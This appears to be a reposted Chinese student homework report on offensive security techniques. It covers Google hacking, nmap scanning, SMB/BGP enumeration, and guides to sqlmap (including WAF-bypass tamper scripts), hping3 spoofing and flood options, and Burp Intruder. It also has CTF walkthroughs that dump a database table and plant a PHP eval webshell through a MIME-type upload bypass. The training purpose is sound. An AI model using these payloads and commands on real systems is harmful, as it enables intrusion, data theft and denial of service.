网络攻防技术--第三次作业
文章目录
第三次作业
一、通过搜索引擎搜索自己在因特网上的足迹,并确认是否存在隐私和敏感信息泄露问题。如果有信息泄露,提出解决方法。
-
直接搜索我的名字
-
搜索我的学号,可以发现我的学号和姓名在学校大学生创新创业训练计划项目名单里。
-
搜索我的电话号
-
用电话号查找个人信息
通过手机号可以搜索到具体的户籍信息。进而可以获取身份证的前几位数字。在互联网中,我们要经常更换自己的账号密码,我随意浏览一些虚假的钓鱼网站,以防手机账号和验证码等口令被泄露。定期使用google hacking等语法查找自己的个人隐私是否泄露,若泄露隐私信息,例如手机号和一些密码等,则尽量更换相关信息,若泄露身份证等无法修改的信息,则联系位置管理员删除相关内容,净化网络环境。
二、结合实例总结web搜索和挖掘的方法。
1、主要包括从公开渠道中收集信息和Google Hacking两种形式。
目标Web网页、地理位置、相关组织
组织结构和人员、个人资料、电话、电子邮件
网络配置、安全防护机制的策略和技术细节
2、通过Google Hacking挖掘信息
Google Hacking的原意是指利用Google 搜索引擎搜索信息以便为入侵做好准备的技术和行为。现在则指利用各种搜索引擎搜索信息以便为入侵做好准备的技术和行为。
- 直接搜索我的名字:
以上信息与我无关,全为同名人的信息
2) “-” 搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词。
-
星号:通配符,可以用在搜索中替代任何文字,百度搜索不支持。 比如在Google 中搜索:“合工” 其中的*号代表任何文字。返回的结果一系列符合上述要求的内容,而在百度搜索中则不支持这样的搜索。
-
inurl: 用于搜索在url中包含查询词的页面,支持中文和英文。如:inurl:php?id=,返回结果都是url中包含“php?id=”的页面。
-
intitle: 用于搜索在title中包含查询词的页面。Intitle:合肥工业大学三好学生:
-
intext: 用于搜索正文里边包含了查询词的网页。
-
filetype:用于搜索指导的文件格式。如 filetype:xls 身份证,返回包含身份证号关键词的所有pdf文件。
-
site:可以将搜索限度在某个域名下,以保证搜索的精准性。如:在谷歌搜索中输入:计算机site:www.hfut.edu,将在合肥工业大学的域名下搜索所有包含计算机的页面。
三、网络扫描有哪几种类型?分别有什么作用?利用一种扫描工具对自己舍友的电脑进行扫描,并给出扫描结果。
网络扫描的类型及作用:
主机扫描:查找活跃的主机或确定目标主机是否在线
端口扫描:寻找目标主机开放的网络服务
服务和系统识别:识别目标主机使用的操作系统和开放的网络服务类型
漏洞扫描:寻找目标主机或网络服务所存在的安全弱点
首先打开VM虚拟机,设置网卡模式为桥接模式,然后利用ifconfig命令查看自己的ifconfig地址,为192.168.3.74,此时使用命令nmap -sP 192.168.3.0/24 扫描当前局域网下的存活主机,如下图:
然后对ip地址为192.168.3.5的主机扫描其开放的端口,命令为nmap 192.168.3.5,得到其如下的开放端口和服务。
四、什么是查点?有什么作用?请阅读《黑客大曝光—网络安全机密与解决方案》一书提出的其他查点方法,并总结。
查点:是根据踩点和扫描阶段获得的目标系统中资源和服务进一步勘查的过程。是继踩点、扫描之后一项网络情报信息搜集技术。针对已知的弱点,对识别出来的服务进行更加充分更具针对性的探查,来寻找真正可以攻击的入口,以及攻击过程中可能需要的关键数据。查点技术通常与具体的系统平台关系密切,在很大程度上依赖端口扫描和操作系统侦查的结果。事实上,通常将端口扫描和查点功能捆绑在同一个工具中。查点技术涉及到许多服务功能,一般要求首先对这些服务实现的过程和原理有一定的了解。
空会话查点:服务器消息块协议SMB,是Windows文件和打印共享的基础。 查点SMB的地步是使用所谓的“null session”命令来间接连接到服务net use \192.168.202.33\IPC$ “” \u:“” IPC$:共享卷"“:空口令\u:”":匿名用户
查点文件共享卷:入侵者喜欢的目标是权限配置错误的Windows文件共享卷。Windows内建的net view命令可以查点远程程序上的共享卷。net view \vito
常用工具:
srvcheck可以查出共享卷和已授权用户
srvinfo -s选项能够列出共享卷和其他许多泄露出来的信息
DumpSec它对远程系统上的所有事物进行核查,从文件系统的授权到可用的各种服务。
BGP查点:
BGP协议只使用的IP网络地址和ASN号码。
确定目标组织的ASN的方法:
(1)第一种方法:如果已经知道了目标公司的名称,可以使用ASN关键字对ARIN进行WHOIS查询。
(2)第二种方法:如果已经知道目标组织的IP地址,那么可以对路由器进行查询,使用AS路径中的最后一项作为ASN。
总结:
(1)许多组织部运行BGP,对于不运行BGP的组织,上述技术无效,因为搜索ARIN数据库无法得到ASN;
(2)使用第二种方法,返回的ASN可能是代表客户发布BGP消息的服务供应商的ASN。
内部路由协议查点
自治系统扫描器ASS:不支持BGP,是因特网路由协议攻击套装IRPAS的一个组件,可以窃听本地网络的通信数据并直接对本地网络进行扫描。
针对BGP路由查点活动的防范对策: 针对BGP查点活动没有什么好的对策,无法阻止使用第一种技术来识别ASN,但BGP查点的风险较低。
五、访问SECTOOLS,并从其推荐的安全工具中至少选择并使用五种不同的安全工具,给出简要的使用指南。
- Sqlmap
一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
常用参数:
- Get传参:
注入地址以get传参为例:http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1
sqlmap -u 注入地址” --banner // 目标信息
sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --current-db // 当前数据库
sqlmap -u “注入地址” --users // 列数据库用户
sqlmap -u “注入地址” --current–user // 当前用户
sqlmap -u “注入地址” -D 数据库 --tables // 列举数据库的表名
sqlmap -u “注入地址” -D 数据库 -T 表名 --columns // 获取表的列名
sqlmap -u “注入地址” -D 数据库 -T 表名字 -C 列名字 --dump //获取数据库下表的列信息 - Post传参:
Sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1” --data=”id=1”
或者使用burpsuite抓包,保存到一个txt文件
sqlmap -r filename.txt - 高级用法(绕过WAF)
–identify-waf//检测是否有WAF
–random-agent//使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
–time-sec=3//使用长的延时来避免触发WAF的机制,这方式比较耗时
–hpp使用HTTP// 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
–proxy=100.100.100.100:8080 --proxy-cred=211:985//使用代理进行绕过
–ignore-proxy //禁止使用系统的代理,直接连接进行注入
–flush-session //清空会话,重构注入
–hex 或者 --no-cast//进行字符码转换
–mobile//对移动端的服务器进行注入
–tor//匿名注入 - 自带脚本(tamper)
使用方法–tamper xxx.py
apostrophemask.py//用UTF-8全角字符替换单引号字符
apostrophenullencode.py //用非法双字节unicode字符替换单引号字符
appendnullbyte.py//在payload末尾添加空字符编码
base64encode.py //对给定的payload全部字符使用Base64编码
between.py//分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py //在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py //对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py //对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py //对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py //用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py //用“LIKE”运算符替换全部等于号“=”
greatest.py //用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py //在每个关键字之前添加MySQL注释
ifnull2ifisnull.py //用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py //用小写值替换每个关键字字符
modsecurityversioned.py //用注释包围完整的查询
modsecurityzeroversioned.py //用当中带有数字零的注释包围完整的查询
multiplespaces.py //在SQL关键字周围添加多个空格
nonrecursivereplacement.py //用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py //转换给定的payload当中的所有字符
percentage.py //在每个字符之前添加一个百分号
randomcase.py //随机转换每个关键字字符的大小写
randomcomments.py //向SQL关键字中插入随机注释
securesphere.py //添加经过特殊构造的字符串
sp_password.py //向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py //用“/**/”替换空格符
space2dash.py //用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py //用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py //用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py //用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py //用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py //用加号“+”替换空格符
space2randomblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py //用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py //用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py //添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py //用MySQL注释包围每个非函数关键字
versionedmorekeywords.py //用MySQL注释包围每个关键字
xforwardedfor.py//添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF - 一道CTF例题:
例题来自CTFHub,网址为https://www.ctfhub.com/#/challenge,题目名为SQL注入-1,题目环境为http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1。
(1)检测目标信息
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 –banner
(2)列举数据库:
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 --dbs
(3) 列举数据库的表名
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note –tables
(4) 获取表的列名
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note -T fl4g –columns
(5) 获取数据库下表的列信息
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note -T fl4g -C fllllag –dump
- Hping3
hping 是面向命令行的用于生成和解析TCP/IP协议数据包汇编分析的开源工具。可用来伪造IP访问服务器、dos攻击服务器等。
目前最新版是hping3,它支持TCP,UDP,ICMP,和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能.
hping3是安全审计,防火墙测试等工作的标配工具,haping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致的探测。
- 用法
-h –help 显示帮助
-v –version 显示版本
-c –count 发送数据包的数目
-i –interval 发送数据包间隔的时间 (uX即X微秒,例如:-i u1000)
-fast 等同 -i u10000 (每秒10个包)
-faster 等同 -i u1000 (每秒100个包)
-flood 尽最快发送数据包,不显示回复。
-n –numeric 数字化输出,象征性输出主机地址。
-q –quiet 安静模式
-I –interface 网卡接口 (默认路由接口)
-V –verbose 详细模式
-D –debug 调试信息
-z –bind 绑定ctrl+z到ttl(默认为目的端口)
-Z –unbind 取消绑定ctrl+z键
-beep 对于接收到的每个匹配数据包蜂鸣声提示 - 模式选择
default mode TCP 默认模式是 TCP
-0 或 --rawip RAWIP模式,原始IP模式 在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 或 --icmp ICMP模式 此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 或 --udp UDP 模式 缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport --destport --keep选项指定其模式。
-8 或 --scan SCAN mode 扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host 扫描端口,看哪几个端口在监听
-9 或 --listen listen mode 监听模式 - IP模式
-a 虚假ip地址 –spoof spoof source address 源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-rand-dest random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
–rand-source 随机源IP。详细使用 man 命令
-t –ttl ttl (默认 64) //修改 ttl 值
-N –id id (默认 随机) // hping 中的 ID 值,缺省为随机值
-W –winid 使用win* id字节顺序 //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r –rel 相对id字段(估计主机流量) //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-f –frag 拆分数据包更多的frag. (may pass weak acl) //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
-x –morefrag 设置更多的分段标志 // 大量碎片,泪滴攻击。
-y –dontfrag 设置不分段标志 // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-g –fragoff set the fragment offset // 设置断偏移。
-m –mtu 设置虚拟最大传输单元, implies --frag if packet size > mtu // 设置虚拟MTU值,当大于mtu的时候分段。
-o –tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,尽力而为?
-G –rroute includes RECORD_ROUTE option and display the route buffer // 记录IP路由,并显示路由缓冲。
-lsrr 松散源路由并记录路由 // 松散源路由
-ssrr 严格源路由并记录路由 // 严格源路由
-H –ipproto 设置IP协议字段,仅在RAW IP模式下使用 //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。 - ICMP模式
-C –icmptype icmp类型(默认echo请求) // ICMP类型,缺省回显请求。
-K –icmpcode icmp代号(默认0) // ICMP代码。
-force-icmp 发送所有icmp类型(默认仅发送支持的类型) // 强制ICMP类型。
-icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0) // ICMP重定向
-icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳) // icmp时间戳
-icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子网掩码) // icmp子网地址
-icmp-help 显示其他icmp选项帮助 // ICMP帮助 - UDP/TCP模式
-s –baseport base source port (default random) // 缺省随机源端口
-p –destport 指定端口号,如果不指定缺省随机源端口
-k –keep keep still source port // 保持源端口
-w –win win的滑动窗口。windows发送字节(默认64)
-O –tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
-Q –seqnum shows only tcp sequence number // 仅显示tcp序列号
-b –badcksum(尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
-M –setseq 设置TCP序列号
-L –setack 设置TCP的ack (不是 TCP 的 ACK 标志位)
-F –fin set FIN flag
-S –syn set SYN flag
-R –rst set RST flag
-P –push set PUSH flag
-A –ack set ACK flag (设置 TCP 的 ACK 标志 位)
-U –urg set URG flag // 一大堆IP抱头的设置。
-X –xmas set X unused flag (0x40)
-Y –ymas set Y unused flag (0x80)
-tcpexitcode 使用last tcp-> th_flags作为退出码
-tcp-mss 启用具有给定值的TCP MSS选项
-tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime - 通用设置
-d –data data size (default is 0) // 发送数据包大小,缺省是0。
-E –file 文件数据
-e –sign 添加“签名”
-j –dump 转储为十六进制数据包
-J –print转储为可打印字符
-B –safe 启用“安全”协议
-u –end 告诉你什么时候–file达到EOF并防止倒回
-T –traceroute traceroute模式(等同使用 --bind 且–ttl 1)
-tr-stop 在traceroute模式下收到第一个不是ICMP时退出
-tr-keep-ttl 保持源TTL固定,仅用于监视一跳
-tr-no-rtt 不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)ARS packet description (new, unstable)
-apd-send 发送APD描述数据包(参见docs / APD.txt)
-
BurpSuite
Burp Suite是用于攻击web应用程序的集成平台。它包含了许多Burp工具,这些不同的burp工具通过协同工作,有效的分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。
它主要用来做安全性渗透测试,可以实现拦截请求、Burp Spider爬虫、漏洞扫描(付费)等类似Fiddler和Postman但比其更强大的功能。
使用方法
在使用之前,需要设置代理地址和端口,设置路径如下图:同样的,浏览器也需要设置代理和端口。我本人采用的是火狐浏览器,插件为FoxyProxy,设置路径如下图:(需要和bp的ip地址及端口一样)
将浏览器的代理打开,同时bp的设置如下,即可抓包:
抓到的包鼠标右键,可以发送到Repeater模块进行参数的修改以及包的重发:下图中的Raw,Params,Headers,Hex分别代表原始数据包,参数,数据头和16进制数据,都可以进行修改和查看。
下图中的Decoder,Comparer,Extender:分别代表数据编码和解码,两段数据包的对比,脚本或者插件:
Intruder模块是比较常用的模块,它用于一个位置参数的爆破。
-
Sniper(狙击手) 每次执行一个payload
-
Battering ram(攻城锤)
-
Pitch fork(草叉)多种payload集合,遍历所有payload
1位置:a/b 2位置:c/d
结果, ac ,bd -
Cluster bomb(集束炸弹)多种payload集合,遍历所有payload
1位置:a/b 2位置:c/d
结果, ac , ad, bc, bd
在Payload Sets中内置了很多字典,如下图所示: -
simple list 简单列表
-
Runtime file 打开一个字典文件
-
Custom iterator 例如爆破username@@password ,可按照 Position 位置进行组合爆破,1:username 2:@@ 3:password
-
Character substition 字符串替换
-
Case modification 大小写替换
-
Recursive grep 递归
-
IIIegal Unicode 不合法编码
-
Character blocks字符块
-
Numbers 数字
-
Dates 日期
-
Brute forcer 对指定字符串枚举该字符串的所有子集
-
Null payloads 发送空null攻击
-
Character frobber 原字符基础上增加ascii码
-
Bit flipper 按照bit位以此修改,翻转
-
username generator 用户名和邮箱生成器
-
ECB block shuffler ECB加密模块
-
Extension-generated 基于插件生成payload,需要下载插件
-
Copy other payload 例如输入俩次密码,需要俩次密码相同
-
IDA PRO
在二进制安全的学习中,使用工具尤为重要,而IDA又是二进制的神器,它是交互式反汇编器,是典型的递归下降反汇编器。
打开 IDA 后,IDA 会提供 3 种不同的打开方式:New(新建),Go(运行),Previous(上一个)。
初次打开的时候选择 GO 就可以了。进入之后,选择左上角的 file 中的 open 打开文件。(它分为32位和64位,要使用对应的Ida打开对应的文件)
-
IDA界面
如上图所示,IDA主界面由以下几个模块组成:
• IDA View 三种反汇编视图:文本视图、图表视图、路径视图
• IDA View-A:是反汇编窗口。(空格键切换文本视图与图表视图)
• HexView-A: 十六进制格式显示的窗口,
• Imports: 导入表(程序中调用到的外面的函数)。导入函数窗口
• Exports: 导出函数窗口
• Functions
• Structures:结构体窗口。
• Enums: 枚举窗口
• Strings: 字符串窗口 快捷键 shift+F12 -
常用功能及快捷键
空格键:切换 文本视图 与 图表视图
ESC:返回上一个操作地址
G:搜索地址和符号
N:对符号进行重命名
冒号键:常规注释
分号键:可重复注释
Alt+M:添加标签
Ctrl+M:查看标签
Ctrl+S:查看段的信息
代码数据切换:
C—>代码
D—>数据
A—>ascii 字符串
U—>解析成未定义的内容
P:识别成一个函数
X:查看交叉应用
F5:查看伪代码
Alt+T:搜索文本
Alt+B:搜索十六进制
Shift+E:提取数据 -
动态调试
在调试器中选择对应的调试器,即可进入调试器界面:操作步骤如下图:
下图为调试器界面
- 中国蚁剑
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。
以一道CTF例题为例
例题来自BUUTCTF,网址为https://buuoj.cn/challenges,题目名字为Upload-Labs-Linux,题目环境为http://809c42f5-2bc9-4062-a101-f2084f4a60b0.node4.buuoj.cn:81/Pass-02/index.php。
首先观察题目,得知为文件上传题目
然后编写一个用php写的一句话木马:木马内容为
<?php echo "hello world"; @eval($_POST['hack']); ?>上传之后提示,只能上传图片,怀疑服务端对数据包的MIME进行检查,所以用bp抓包,改一下数据的格式:
将前面的php数据包格式,换为png图片的数据包格式,然后重新上传,得到文件的相对地址:
然后输入上传文件所在的路径,连接密码为php中的hack:
显示连接成功,然后点击右上角添加,则可进入web服务器管理界面,可以看到所有的文件,也可以删除或者添加文件。至此,攻击成功。
原文地址:https://blog.csdn.net/qq_53517370/article/details/142765909
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!